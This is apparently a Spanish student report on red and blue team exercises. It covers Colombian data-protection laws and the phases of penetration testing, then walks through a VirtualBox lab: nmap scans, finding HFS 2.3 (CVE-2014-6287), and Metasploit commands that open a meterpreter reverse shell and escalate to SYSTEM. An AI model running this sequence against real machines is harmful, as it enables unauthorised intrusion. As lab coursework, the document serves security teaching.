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Resumen

Se reconoce el margen legal sobre las distintas leyes y decretos que hacen parte del
ordenamiento juridico colombiano para regular la proteccion de datos ya sean personales o de
organizaciones y los delitos sobre estos, también se revisan las fases del pentesting y la
importancia de este, se exponen los conceptos de las principales herramientas de software
especializado para la ciberseguridad y por Gltimo se instala el banco de trabajo utilizando la
herramienta Virtual Box y los sistemas operativos de Kali Linux y Windows 7.

En esta actividad se enfoca en poder resolver la situacién presentada en el anexo 4
escenario 3 que se debe buscar una maquina que tiene una aplicacion vulnerable desde la cual
esta sucediendo fugas de informacion, se debe detectar el problema y realizar una prueba de
concepto que basicamente seria una comprobacién a los altos directivos, es importante tener en
cuenta las afectaciones de un ataque a través del pentesting el cual como metodologia ayuda a
saber el nivel de vulnerabilidad en que se encuentra la organizacion.

Palabras clave: blue team, red team, ciberseguridad, margen legal de la seguridad en

Colombia.



Abstract

The legal framework on the different laws and decrees that are part of the Colombian
legal system to regulate the protection of data, whether personal or organizational, and crimes
against these are recognized, the phases of pentesting and the importance of this are also
reviewed, the concepts of the main specialized software tools for cybersecurity are exposed and
finally the workbench is installed using the Virtual Box tool and the Kali Linux and Windows 7
operating systems.

This activity focuses on being able to solve the situation presented in annex 4 scenario 3,
which should look for a machine that has a vulnerable application from which information leaks
are happening, the problem should be detected and perform a proof of concept that basically
would be a check to senior management, it is important to consider the effects of an attack
through the pentesting which as a methodology helps to know the level of vulnerability in which
the organization is.

Keywords: blue team, red team, cybersecurity, legal margin of security in Colombia.
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Glosario

Blue team: equipo responsable de proteger los activos de informacion de una
organizacion para gque no sea victima de un ciberataque.

CMD: es una consola de linea de comando que viene en el sistema operativo Windows
para ejecutar instrucciones a través de palabras claves que ejecutan acciones.

Comando: es una instruccion para realizar una accion, un comando se escribe o se indica
a través de una consola que proporciona el sistema operativo.

CSIRT: equipo especializado que se activa cuando ha ocurrido un incidente de
ciberseguridad.

Exploit: es un script que contiene instrucciones y comandos con una serie de pasos para
poder ejecutar codigo en una maquina remota con el objetivo de poder aprovechar sus
vulnerabilidades

Framework: es un marco de trabajo que proporciona herramientas para desarrollar una
actividad especifica.

Hardenizacion: significa fortalecer o endurecer algo, en este caso los controles aplicados
para el mejoramiento de la ciberseguridad.

IP: es un protocolo que permite identificar los disipativos a través de un numero, en este
caso se usan direcciones IP de 32 bits, por ejemplo 192.168.216.1.

Red team: expertos que buscan simular ataques a una organizacion para examinar su

defensa.
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Introduccion

El marco legal sobre la seguridad informatica abarca el alcance y la guia para siempre
actuar de manera responsable y dentro de la ley, es de vital importancia saber las brechas de
seguridad de los sistemas a través de la metodologia de pentesting que es la misma que puede
utilizar un hacker, de esta manera se le comunican los resultados al equipo blue team
desarrollado por el equipo red team.

Los equipos de red team deben de actuar en una organizacion ya sea de manera proactiva
0 reactiva, se evalUa un caso de fuga de informacion y donde se tienen informacion basica sobre
una aplicacion que puede ser utilizada para filtrar informacion de manera externa de la
organizacion.

Por lo anterior se llevara a cabo un proceso de pentesting el cual servira de guia para
desarrollar la actividad y responder las preguntas de los directivos acerca de sus sospechas.

Los equipos de blue Team y CSIRT deben de actuar en una organizacion, el primero de
una manera proactiva y el segundo de manera reactiva, se evalla un caso de fuga de informacién
y donde se tienen informacion bésica sobre una aplicacion que puede ser utilizada para filtrar
informacidn de manera externa de la organizacion, con base esto se da respuesta a la pregunta de

la actividad.
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Justificacion

Cada dia se vienen registrandose aumentos considerables de nuevas amenazas y ataques,
entender cOmo proteger esta tecnologia es de vital importancia para las organizaciones, por lo
tanto, se debe saber como realizar pruebas de pentesting en un laboratorio controlado utilizando
la herramienta VirtualBox, NMAP y Windows 7 para posteriormente comunicar los resultados.

Los equipos de red team deben de ser capaces en poder dar respuestas a situaciones que
se presentan en las organizaciones publicas y/o privadas de manera certera, de esta manera se
debe llegar por medios de una investigacion soportada mediante la metodologia del pentesting
para desarrollar la prueba de concepto que de tranquilidad a los directivos de la compariia sobre
el origen de la fuga de informacion que se viene presentando.

Se debe tener una claridad sobre la funcién y diferencia de cada uno de los equipos de
blue team y CSIRT para una organizacion, basados en el anexo 5 — escenario 4 se da respuesta a
las necesidades de la organizacion CyberFort Technologies, quienes solicitan la contencion y

sacar adelante el ataque que estan sufriendo en tiempo real.
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Objetivos
Objetivo General

Analizar el impacto de la implementacion de los equipos red y blue team en la
ciberseguridad de las organizaciones para la proteccion de los datos e infraestructura tecnoldgica.
Objetivos Especificos

Identificar y aplicar las principales herramientas para la realizacion de los ejercicios de
red y blue team tenieno en cuenta.

Aplicar la dindmica en un laboratorio virtual controlado del equipo de red team para el
ejercicio de blue team y fortalecimiento de los controles.

Evaluar los beneficios de implementar estrategias que ayuden a aumentar la

ciberseguridad en las organizaciones.
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Sobre el marco legal colombiano para la ciberseguridad

El estado colombiano viene fortaleciendo su politica para combatir los delitos
informaticos que vienen en aumento, entre las leyes tenemos las siguientes:

Ley 1955 de 2019. “Por la cual se expide el Plan Nacional de Desarrollo 2018-2022
“Pacto por Colombia, pacto por la equidad”. (“LEY 1955 DE 2019 - SUIN —JURISCOL”).

Ley 1978 de 2019. “Por la cual se moderniza el Sector de las Tecnologias de la
Informacion y las Comunicaciones -TIC, se distribuyen competencias, se crea un Regulador
Unico y se dictan otras disposiciones.” (“ley consulta.docx - LEY No. 1978 25 JUL 2019”).

Manual de Gobierno Digital — 2018. Donde es implementada la Politica de Gobierno
Digital con cuatro caracteristicas importantes que son conocer, planear, ejecutar y medir la
politica donde cada uno de ellos incorpora las acciones que permitiran desarrollar la Politica en
las entidades publicas de nivel nacional y territorial.” (“PLAN ESTRATEGICO DE
TECNOLOGIA DE INFORMACION Y COMUNICACIONES - PETI ...”).

Decreto 1008 — 2018. “Por el cual se establecen los lineamientos generales de la politica
de Gobierno Digital y se subroga el capitulo 1 del titulo 9 de la parte 2 del libro 2 del Decreto
1078 de 2015, Decreto Unico Reglamentario del sector de Tecnologias de la Informacion y las
Comunicaciones”.

Documento CONPES 3920 — 2018. Politica Nacional De Explotacion De Datos (BIG
DATA).

Decreto 1413-2017. “Por el cual se adiciona el titulo 17 a la parte 2 del libro 2 del
Decreto Unico Reglamentario del sector de Tecnologias de la Informacion y las

Comunicaciones, Decreto 1078 de 2015, para reglamentarse parcialmente el capitulo IV del
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titulo 111 de la Ley 1437 de 2011 y el articulo 45 de la Ley 1753 de 2015, estableciendo
lineamientos generales en el uso y operacion de los servicios ciudadanos digitales™.

Documento CONPES 3854-2016. POLITICA NACIONAL DE SEGURIDAD
DIGITAL.

Decreto 1083 -2015. “Por el cual se expide el Decreto Unico Reglamentario del sector de
Tecnologias de la Informacién y las Comunicaciones, el cual incluye el Decreto 2573 de 2014
que establece los lineamientos generales de la Estrategia de Gobierno en Linea (Hoy Gobierno
Digital)” (“Plan Estratégico De Seguridad De La Informacion™)

Ley 1712 de 2014. “Por la cual se crea la Ley de Transparencia y del Derecho de Acceso
a la Informacion Publica Nacional y se dictan otras disposiciones”.

Tecnologias de la Informacidn. Técnicas de Seguridad. Sistemas de Gestion de la
Seguridad de la Informacion. Requisitos (NTC-ISO/IEC Colombiana 27001:20013).

Ley 527 de 1999. “Por medio de la cual se define y reglamenta el acceso y uso de los
mensajes de datos, del comercio electrénico y de las firmas digitales, y se establecen las
entidades de certificacion y se dictan otras disposiciones.” (“Ley 527 de 1999, por medio de la
cual se define y reglamenta el acceso ...”).

Ley 962 de 2005. “Estado y de los particulares que ejercen funciones publicas o prestan
servicios publicos.” (“Ley 962 de 2005 - Gestor Normativo - Funcion Pablica”™).

Decreto 1747 de 2000. Donde se reglamenta la Ley 527 de 1999, en lo relacionado con:
“Las entidades de certificacion, los certificados y las firmas digitales”. (“Firma Electronica -

Inicio | Archivo General de la Nacion™).
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Ley 1273 de 2009. También llamada ley de delitos informéticos, donde es denominado
en el codigo penal “la proteccion de la informacidn y de los datos” donde se protegen de manera
completa los sistemas que den uso de la tecnologia de la informacion y las comunicaciones.

Ley 1341 de 2009. Donde son definidas las principales leyes y orden de la sociedad de la
informacion que también abarca un nuevo orden a las TIC. (“LEY 1341 DE 2009 - SUIN —
JURISCOL”)

Plan para la implementacion T1 en Colombia.

Circular 17 de 2011. Donde se reglamenta y se le da orden a la verificacion del uso legal
de software en las organizaciones publicas de orden nacional.

Decreto 1377 de 2013. Reglamentar parcialmente la Ley, 1581 de 2012, por la cual se
dictan disposiciones generales para la proteccién de datos personales.

Directiva presidencial 002 de 2002. “Respeto al derecho de autor y los derechos conexos,
en lo referente a utilizacion de programas de ordenador (software)” (“1. INFORME DERECHOS
DE AUTOR”)

Decreto 886 de 2014. “El presente decreto tiene como objeto reglamentar la informacion
minima que debe contener el Registro Nacional de Bases de Datos” (“DECRETO 886 DE 2014 -
SUIN — JURISCOL”)

Decreto 090 de 2018. Donde se deben reportar en el Registro Nacional de Bases de
Datos, todas las bases de datos que tengan informacidn personal automéatico o manual de
cualquier organizacion sin &nimo de lucro con personeria juridica. (“Decreto 90 de 2018 - Gestor

Normativo - Funcion Publica”).
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Decreto 1078 de 2015. Donde se debe definir principios y conceptos para la sociedad de
la informacion y la organizacion de las Tecnologias de la Informacion y las Comunicaciones -
TIC-se crea la Agencia Nacional de Espectro (“LEY 1341 DE 2009 - SUIN — JURISCOL”)

Decreto 2194-2017. Modifica el articulo 2.2.2.4.1 del Decreto Unico Reglamentario del
Sector de Tecnologias de la Informacion y las Comunicaciones, Decreto numero 1078 de 2015.

Ley 1266 de 2008 (Ley de Habeas Data): Regula el uso de las bases de datos de entidades
financieras, comerciales y de servicios, ley de Habeas Data.

Ley 1581 de 2012 (Ley General de Proteccion de Datos Personales): Sobre el tratamiento
de los datos personales de los ciudadanos en Colombia regulando la recoleccion,
almacenamiento, proteccion y uso de los datos por parte de las organizaciones.

Prueba De Penetracion o Pentesting.

El pestenting es una metodologia usada para poner a prueba los sistemas informaticos de
una organizacion, es poder simular un ataque de un hacker quien buscaria buscas las
vulnerabilidades y luego explotarlas para lograr su objetivo.

Por medio de los resultados del pentesting se pueden tomar medidas para mejorar y
mitigar las vulnerabilidades encontradas de acuerdo con las prioridades de la organizacion, el
pentesting tiene 6 fases y son las siguientes:

Reconocimiento

En esta primera fase se busca recoger toda la informacion publica acerca del objetivo,
esta informacidn ayudaréa en las siguientes fases para tomar decisiones en como desarrollar el
escaneo, existen 2 tipos de reconocimiento, el primero es el activo, donde hay una interaccion
directa con el objetivo y donde se dejan rastros digitales del andlisis realizado, en muchos casos

se requiere autorizacion para realizar este tipo de reconocimiento, el segundo es el pasivo, es
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donde no se deja ningun rastro o evidencia de la recoleccion de la informacion, se retnen todos
los datos sobre un sistema sin tener un contacto directamente con el objetivo.
Escaneo

Posterior a la fase de reconocimiento y con la informacion publica obtenida es perfilar el
objetivo para realizar una exploracién de vulnerabilidades completo, en esta etapa del pentesting
se identifican toda vulnerabilidades para luego tomar la decision y alistar para la siguiente fase,
la herramienta para realizar esta fase por ejemplo puede ser NMAP.
Obtencion de Acceso

Teniendo un listado de vulnerabilidades se debe validar que exploits se pueden utilizar
para lograr el acceso a los sistemas, de esta manera se hacker puede sacar provecho a las
vulnerabilidades y activar las acciones maliciosas en cumplimiento del objetivo propuesto, la
herramienta para realizar esta fase por ejemplo es Exploit que ya viene instalada en NMAP.
Mantenimiento del Acceso

En esta fase del pentesting debe de asegurar la persistencia del acceso al sistema y es
donde se busca escalar los privilegios del sistema, esta fase también es conocida como
postexplotacion.
Borrado de Huellas

En esta fase que es posterior a la simulacion del ataque se debe eliminar todas las huellas
que puedan delatar a quien hizo el ataque debido a que le pueden servir a un hacker en caso real
y pueda aprovechar esta informacion de manera maliciosa.
Elaboracion del reporte

En esta ultima fase se deben de elaborar los informes pertinentes donde los profesionales

en seguridad de la informacion comunican y describen las vulnerabilidades encontradas para que
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el equipo blue team pueda tomar las acciones para mitigar estas brechas de seguridad
encontradas por el equipo red team.

Herramientas Principales para el Desarrollo del Pentesting.

Metasploit

Es un framework lider en el &rea de la ciberseguridad, es de cddigo abierto que permite
realizar pruebas de penetracion, desarrollar scripts propios y ejecutar exploits. Esta herramienta
te permite consultar una amplia lista de scripts debidamente documentados para fines muy
especificos permitiendo elegir los més actualizados y se ajusten a la necesidad.
Nmap

Una herramienta especializada en el area de ciberseguridad de codigo abierto cuyo
objetivo es dirigido a realizar exploraciones y auditorias de red tales como escaneo de puertos,
mapeo de la red, identificacion los hosts conectados y servicios disponibles en la red para
determinar las vulnerabilidades de los activos identificados.
OpenVas

Es un sistema cuyo objetivo es identificar vulnerabilidades para sistemas, es un software
de cddigo abierto que tiene a su disposicion una base de datos de vulnerabilidades para detectar
fallos de seguridad en redes internas y externas, es utilizado para realizar ejercicios de pentesting
y asi poder mejorar la seguridad de la red.
ExploitDB

Es una aplicacion web desarrolladas por Offensive Security donde concentran una gran
cantidad de exploits para ser ejecutados por pentester de forma gratuita en auditorias de

seguridad.



CVE

Common Vulnerabilities and Exposures, estandar cuya finalidad es poder informar,
advertir y colaborar con los profesionales de ciberseguridad sobre la documentacion
correspondiente a las vulnerabilidades de seguridad en sistemas informéticos ya detectadas e
incluso en como poder mitigar dichas vulnerabilidades, ademas son identificadas a partir de un
consecutivo unico con el cual son guardadas y compartidas con otras bases de datos, por

ejemplo: CVE-2024-43701, esta pagina https://cve.mitre.org/ es de las mas reconocidas y tiene

un base datos muy amplia y actualizada con informacion de los CVE.
Instalacion, Configuracion y Evidencia de Preparacion del “Banco de Trabajo”
Paso A

Se realiza la instalacion de la herramienta Virtual Box en su Ultima version 7.1.2 a
continuacion la evidencia de instalacion, como se muestra en las figuras 1y 2.
Figural

Inicio de Instalacion Virtual Box del Sitio Oficinal

bstado techa de moditicacion lipo lamario

Welcome to the Oracle ]
VirtualBox 7.1.2 Setup Wizard g

2KB
The Setup Wizard will install Orade VirtualBox 7. 1.2 on your

computer, Click Next to continue or Cancel to exit the Setup 1KB
Wizard.
2KB
3KB
Version 7.1.2 Cancel

Fuente. El Autor.
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Figura 2

Se Muestra Virtual Box Instalado en su Ultima Version 7.1.2

.

[

> Moevo araps

ORACLE

5 Virtual

Fuente. El Autor.

Paso B

Se ingresa al link RedTeam&BuleTeam2024 para descargar la imagen en formato .OVA

de Windows 7 y se hace la importacion como se muestra en la figura 3.
Figura 3

Maquina Virtual con Windows 7

- P
QRS ﬁﬂﬂ_@@ DERECHA

Fuente. El Autor.



A continuacion, se muestra la descarga y evidencia de instalacion de la maquina virtual
Kali Linux descarga del sitio oficial como se muestra en las figuras 4 y 5.
Figura 4

Descarga Imagen Kali Linux desde su Sitio Oficial

@ oo Power Apps Studio | Gert X Power Apps Sucko | Che: X | (3 Checkhpp X | G Msd - Amovis Mancel M X ", Get Kai | Kat Linx x + - & X
e >

(o] www kali.org, ¢ M vt % I K o0

)
all/kali

Virtual Machines Documentation »

]
D 32bi
=
m
VMware VirtualBox Hyper-V QEMU
* HQu S EM =@ EQFRAB GHE ~Ge [ eam i O
Fuente. El Autor.
Figura 5
Instalacion Finalizada Maquina Virtual Kali Linux
£ | O LLOPBMuEEoRfIBBE ]

Fuente. El Autor.
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En la figura 6 se muestra las méquinas virtuales de Windows 7 y Kali Linux instaladas.
Figura 6

Instalacion con Virtual Box Windows 7 y Kali Linux

5 Oracle VirtualBox Administrador = a X
Archivo  Maquina  Ayuda
- ) oy K
naY [: #1 dod =2
[%&fj Herramientas {\-\w‘} “e
Nueva Afadir  Configuracién Descartar Mostrar
> Nuevo grupo =] General
kali-linux-2024 3-virtualbox-amd64
» ESISeg.DB ivo:  Debian (64-bit)
Win7-SE2020-X64
% Corriendo
Bl kali-linux-2024.3-virtualbox-amd64 —
I <O Corriendo =
128 MB
VMSVGA
oto: Inhabilitado
Inhabilitado
is rio 0:  [Unidad éptica] Vacio
Controlador: SATA
Puerto SATA O: Kali-linux-2024.3-virtualbox-amd64.vdi (Normal, 80,09 GB)
({p Audio
Controlador de anfitrion: Windows DirectSound
Controlador: ICH ACS7
@ Red
Adaptador 1: Intel PRO/1000 MT Desktop (NAT)
(5 usB
Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activo)
[Z] Carpetas compartidas
Ninguno
© Descripcion
(1] 1] 7 = @ ) ESP A o) & 411p.m. ~y
@ IIQL -E’HQG :@ m“m% ~rh e L\ Fom 14/10,.2024! /]

Fuente. El Autor.

Se Describe de Manera Especifica la Metodologia y Herramientas Software Utilizadas para Llevar
el Ejercicio de Red Team.
Para poner a prueba el sistema se utilizara la metodologia pentesting.
Reconocimiento
En esta etapa con la informacion suministrada lo que se hace es hacer un perfilamiento,
se sabe que es una maquina Windows que debe tener puertos, que debe de estar conectada en la
red LAN de la organizacion, tiene una aplicacion vulnerable y esta permite acceder a través de

Shell y escalar privilegios para llegar como administrador de sistema.
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Lo anterior permite elegir una herramienta como NMAP instalada en KALI LINUX para
realizar un escaneo de puertos y buscar la aplicacion vulnerable en la siguiente fase.
Escaneo

Se tiene la herramienta NMAP definida para realizar el escafio de puertos y aplicaciones
vulnerables por donde se pueden estar haciendo fugas de informacion, a continuacion, se
mostrara las figuras con el paso a paso.

Como en contexto estamos en una red LAN debemos de ubicar primero la maquina
objetivo desde donde se puede estar presentando la fuga de informacion, para esto se debe hacer
un escaneo de red desde la herramienta NMAP como lo muestra la figura 7 y figura 8 a
continuacion.

Figura 7

Obtencion Direccion IP para Rango de Escaneo de Direcciones IPs

S emEmPOBE-|1 2 3 2|~

PS> kali@kali: /home/kali

File Actions Edit View Help

Type 'help' to get help.

/home/kali

fconfig
: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.216.136 netmask 255.255.255.0 broadcast 192.168.216.25

inet6 fe80::7c6:8f72:1c02:d527 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)

RX packets 142 bytes 18174 (17.7 KiB)

RX errors @ dropped @ overruns @ frame @

TX packets 56 bytes 6574 (6.4 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions 0

/home/kali

@S B K S @ cTRLDERECHA

Fuente. EI Autor. Nota. La direccién IP de maquina Kali Linux es 192.168.216.136.



Se debe realizar un escaneo de IP con el rango 192.168.216.0 - 192.168.216.255 y el
parametro -O para identificar el sistema operativo, debe ser Windows como se muestra en la
figura 8 y figura 9, el objetivo es poder saber que maquinas se encuentran conectadas a la red
con esta caracteristica.

Figura 8

Inicio Escaneo IPs Rango 192.168.216.0 - 192.168.216.255

/home/kali
su

[sudo] password for kali:

/home/kali

192.168.216.0-255

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08
Nmap scan report for 192.16 16.1
Host is up (0.00084s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
5357/tcp open wsdapi
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154 /tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157 /tcp open unknown

Fuente. El Autor.

Figura 9

Resultado del Escaneo de IPs 192.168.216.0 - 192.168.216.255

Running: Microsoft Windows 7/2008|8.1

0S CPE: cpe:/o:microsoft:windo: - .cpe

microsoft:windows_server_2008::spl cpe:/o:microso

e:/o:mi oft:windows_8 cpe:/ icrosoft:windows

0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows S|
erver 2008 R2, Windows 8, or Windows 8.1 Update 1

Network Distance: 1 hop

Nmap scan report for 192.168.2 203
Host is up (0.013s latency).

Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE

53/tcp open

9500/tcp open

MAC Address: 1E 8E (Unknown)

No exact 0S matches for host (If you know what OS is running on it, see https
://nmap.org/submit/ ).

TCP/IP fingerprint

D=11 3%CT=1 26%PV=
86_64-pc-1inux-gnu)SEQ(SP=103%GCD=
TS=A)SEQ(SP=104 SR=10C%TI I= TS=A)SEQ(SP=104

I=Z%C II-T )SEQ(SP=107%GC|

Fuente. El Autor.
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De los resultados obtenidos por fortuna son pocas maquinas, pero se puede apreciar que
la maquina con IP 192.168.216.1 tiene sistema operativo Windows, version 7, con esto se puede
enfocar en esta maquina para profundizar el escafio como se muestra en la figura 10.

Figura 10

Profundizando el Escaneo Sobre la Direccion 192.168.216.1

‘ v-2024.3-virtualbox-amd64 [Corriendo] - Oracle VirtualBox @
\ N
S o EmPO9BE-|1 2 3 4

root@kali: /home/kali
File Actions Edit View Help

CPU usage: 7.7%

/home/kali

ap -sV - ript vuln 192.168.216.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 23:19 EST
Nmap scan report for 192.168.216.1
Host is up (0.0021s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
| _http-dombased-xss: Couldn't find any DOM based XSS.
| _http-server-header: HFS 2.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 BID:49303
| The Apache web server is vulnerable to a denial of service attack whe
n numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://vwww.tenable.com/plugins/nessus/55976
| https://seclists.org/fulldisclosure/2011/Aug/175
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
I_ https://vwww.securityfocus.com/bid/49303
| http-fileupload-exploiter:

., T .\‘\ ‘

[©) {1119 (=] & #3513 (%] CTRL DERECHA

Fuente. El Autor.



De acuerdo con el resultado anterior de todas las vulnerabilidades encontradas llama la
atencion el puerto 80 que esta abierto con una aplicacion corriendo httpfileserver http 2.3 a
primeras es un servicio para compartir archivos, sin embargo, se busca en internet para mas
informacion sobre este, en las figuras 11 y 12 encontramos informacion sobre esto.

Figura 11

Indagando en internet sobre httpfileserver http 2.3

© © O [GMax G NE x @080 x |0 W x | W x |0 M2 x|« R x (@ Gme x| W9V x o ox 0 OE x| + =

€ O O Mipsiwwmgoosiecom/sesichT=htiphieserver shitp 2 38sca,esy=B82I800408501aSbBscurce holei=he A ZEBOMANGRYZygBOMAIg=ALS.. 3 G v -0

Google hitpfleserver hiip 2.3 x & & Q i @
Tods Videos Sropping Notilas imégenes Lbros Web ' Mas Harramientas

Traducr esta pigng
2.x <=2.3m RCE (CVE-2024- ...

nissing a securlly upoate. (Nessus PRgi ID 206652)

& Dlot08
o e excion ot com » e Tradice esta pigea

HFS (HTTP File Server) 2.3.x - Remote Command ...

231eb 2021 — HFS (HTTP File Server) 2.3.x - Remote Command Execution (3). remole expioit
for Windows platsom.

Q o
s i bicaccom com . 6. Tradack esta pégina

Wab Aftack: Reiatto HitoFilaSarvar CVF-2014-6287

e H Q ssaes s LB O Fm Al ~em T vam i

Fuente. El Autor.

Figura 12

P&gina de MITRE donde se Muestra Mas Sobre esta Vulnerabilidad

@D O[O0 M X | COINTE X [0 (180X | O What X [ HESEX | G M2 X | % Rejer x B Coio X |0 MV X [ G bt X I v x =
C & mp e=CVE-2014.6287 2 A ) G -

Este sitio web ufliza tecnologias como cookies para habiltar la funcionalidad esencial del sifio, asi como para analitica, parsonaizacion y P .
publdd dgeia Para blonor mas informackn, consult ol sipuonts onlco: Pollca de prvacdad

more at National Vulnerabllity Database (NVD)

Severity Rating * Fix Information « Vulnerable Software Versions » SCAP Mappings » CPE Information

CVE-2014-6287 'camn
«cvss

The findMacroMarker function in parserLib.pas in Refetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3¢ allows remote attackers to execute arbitrary programs
via a %00 sequence in a search action.

ities. The list is not intended to be completa.

MITRE Corporation

ansanann e e P e L e S A s

Fuente. El Autor.
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Nota. Mitre es un repositorio web donde se pueden encontrar muchas vulnerabilidades
con su respectivo codigo CVE, descripcion, como explotar la vulnerabilidad y mitigarla.

Esta vulnerabilidad corresponde al codigo CVE — 2014-6287 (Miltre, 2004), que indica
que es un servidor de archivos llamado HFS que permite a un atacante ejecutar cualquier
programa en el sistema, también nos muestra como podemos ejecutar comandos remotos y hacer
el ataque.

La aplicacion HFS de acuerdo con (Rejetto,2024), es una aplicacion cuya funcion es
tener un servicio para compartir archivos desde el disco duro a través del protocolo http, ofrece
funcionalidades y facilidades para acceder desde la web a los archivos del disco duro en
computadora.

Es importante destacar que en la pagina del fabricante oficial denotan que la version
antigua v2, especificamente 2.3 y 2.4 no se deben usar debido a que hay una vulnerabilidad que
permite a un atacante controlar la computadora, recomiendan usar desde la version 3 donde
segun ellos no existe esta vulnerabilidad como se muestra en la figura 13.

Figura 13
Pagina Web Oficial Aplicacion HFS, se Indica Vulnerabilidad

(&) %) https//www.rejetto.com/hf A ] o= Q

HFS ~ Servidor de archivos HTTP F\ HOGAR INSTALAR FUNCIONES DISCUTIR V2 &

Serve fresh

.z .
Versién antigua (V2)
peligrosa y r
Se encontré una vulnerabilidad de seguridad que permite a un atacante controlar su computadora.

Actualmente no existe una solucién oficial para la versién 2, pero la versiéon 3 no se ve ni se ha visto nunca
afectada

Fuente. El Autor.
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En esta etapa se usaré la herramienta Metasploit que ayudara a explotar las

vulnerabilidades encontradas con la herramienta NMAP en el paso anterior.

Con el comando msfconsole y posterior se busca con el comando search los exploit

relacionados con HFS para elegir el m&s indicado de acuerdo con la necesidad que se tenga como

se muestra en la figura 8.
Figura 14

Eleccion el Exploit #4 que es para Windows

EX
| § kali

S =@ P OB 25 4| o

root@kali: /home/kali
File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search hfs

Matching Modules

Name Disclosure Date
Description

exploit/multi/http/git_client_command_exec 2014-12-18
Malicious Git and Mercurial HTTP Server For CVE-2014-9390
\_ target: Automatic

\_ target: Windows Powershell
exploit/windows/http/rejetto_hfS_rce_cve 2024 23692 2024-05-25
Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution

exploit/windows/http/rejetto_hfS_exec 2014-09-11
Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example inf

msf6 > use 4
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( N |

Fuente. El Autor.

A @ 122
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Con el comando show options se deben visualizar las opciones para configurarlas como
se muestra en la figura 15.
Figura 15

Parametros del Exploit son Mostrados para Poder Configurar
i@ ko

S EEapPoE-| 2 4 |~ ‘ A g

root@kali: /home/kali
File Actions Edit View Help

msf6 exploit( ) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

HTTPDELAY 10 no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:
host:port][ ... ]

RHOSTS yes The target host(s), see https://docs.metasplo
it.com/docs/using-metasploit/basics/using-met
asploit.html

RPORT yes The target port (TCP)

SRVHOST yes The local host or network interface to listen

on. This must be an address on the local mac
hine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 The local port to listen on.

SSL false Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is
randomly generated)

TARGETURI / The path of the web application

URIPATH The URI to use for this exploit (default is r
andom)

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, pro
cess, none)

LHOST 192.168.216.136 yes The listen address (an interface may be specif
ied)

LPORT 4444 yes The listen port

Fuente. El Autor.

Solamente es necesario configurar el host objetivo o host remoto (RHOSTS) que de
acuerdo con las opciones falta indicar, para las opciones como RPORT 80 y LHOST
192.168.216.136 no es necesario realizar configuracion debido a que la aplicacion objetivo se
esta ejecutando en el puerto 80 y el exploit tomo por defecto la direccion IP del equipo local

(KALI LINUX) de manera correcta como se muestra en las figuras 16 y 17.
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Figura 16

Asignando con el Comando Set la Direccion del Host Remoto

Exploit target:

Id Name

Automatic

View the full module info with the info, or info -d command.

msf6 exploit( ) > set RHOSTS 192.168.216.1
RHOSTS = 192.168.216.1
msf6 exploit( ) > B

Fuente. EI Autor.

Posteriormente a la configuracion del exploit se procede a ejecutarlo para iniciar con el
ataque, es decir para poder penetrar en la maquina objetivo, se escribe en la consola el comando
run como se muestra en la figura 17.

Figura 17

Iniciando el Ataque a la Maquina Objetivo 192.168.216.1

msf6 exploit( ) > run

Started reverse TCP handler on 192.168.216.136:4444

Using URL: http://192.168.216.136:8080/Sq3AFKg84P

Server started.

Sending a malicious request to /

Payload request received: /Sq3AFKg84P

Sending stage (176198 bytes) to 192.168.216.1
[!] Tried to delete ¥TEMP%\NYJySOPyBkYz.vbs, unknown result

Meterpreter session 1 opened (192.168.216.136:4444 — 192.168.216.1:49336) at 2024-1
1-09 12:28:11 -0500

Server stopped.

t
meterpreter > ||

Fuente. EI Autor. Nota. Al quedar el cursor con el indicativo meterpreter> significa que se tuvo éxito en el
acceso a la maquina remota, es decir ya estamos dentro de nuestro objetivo y podemos iniciar con la elevacion de
los privilegios para ejecutar los comandos que sean necesarios.
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Mantenimiento del acceso

Para mantener el acceso se realiza la creacion de una cuenta que ayude para seguir
teniendo acceso a la maquina, en este caso también para demostrar que se pudo tener acceso y
realizar elevacion de privilegios paso anterior y en este crear la cuenta administrador.

A continuacion, se elevan los privilegios con el comando getsystem y son validados con

el comando getuid, la indicacion de Server username: NT AUTHORITY\SYSTEM significa que

tenemos privilegios de super usuario o usuario administrador como se observa en la figura 18.
Figura 18

Elevacion de Privilegios Comando getsystem.

